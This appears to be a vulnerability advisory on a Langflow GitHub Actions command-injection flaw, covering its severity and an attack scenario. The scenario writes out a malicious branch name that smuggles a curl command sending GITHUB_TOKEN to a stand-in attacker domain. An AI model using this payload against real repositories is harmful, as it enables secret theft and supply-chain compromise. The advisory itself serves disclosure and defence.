Langflow CVE-2026-33475

Attacker must create a pull request or push to a branch with a malicious name containing shell metacharacters in the Langflow GitHub repository. The vulnerable GitHub Actions workflows must be enabled. No authentication required; any GitHub user can create pull requests. Exploitation occurs during CI/CD pipeline execution when workflows interpolate unsanitized github.head_ref or similar context variables in shell commands.

This vulnerability presents significant real-world risk despite no current KEV listing or EPSS score data being provided. The CVSS 3.1 score of 9.1 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates network-exploitable attacks requiring no privileges or user interaction with low complexity, though integrity and confidentiality impacts are high while availability impact is none. The existence of a documented proof-of-concept demonstrating GITHUB_TOKEN exfiltration via malicious branch names significantly lowers the exploitation barrier. The attack is highly automatable as it requires only forking a repository and creating a pull request with a crafted branch name, making it trivial for attackers to target any public fork of Langflow with Actions enabled. The technical impact is severe, potentially enabling supply chain compromise through CI/CD pipeline manipulation, malicious release injection, and secret theft. However, the scope is somewhat limited to CI/CD environments rather than production runtime systems, and requires the target repository to have GitHub Actions enabled and accepting pull requests from forks. Organizations running Langflow in production are not directly vulnerable unless they also maintain CI/CD pipelines using the affected workflow files. The combination of critical CVSS score, available POC, low attack complexity, and supply chain implications makes this a genuine high-priority issue for organizations maintaining Langflow forks or contributing to the project.

An attacker forks the public Langflow repository on GitHub and creates a new branch with a malicious name such as 'feature && curl https://attacker-controlled-domain.com/exfil?token=$GITHUB_TOKEN #' then opens a pull request to the upstream repository or another fork. When the automated CI/CD pipeline triggers the vulnerable GitHub Actions workflows, the unsanitized branch name is interpolated directly into shell commands, causing the injected curl command to execute and exfiltrate the GITHUB_TOKEN to the attacker's server. With the stolen token, the attacker can then push malicious code to protected branches, manipulate releases, inject backdoors into Docker images published by the CI pipeline, or steal additional secrets stored in the repository environment.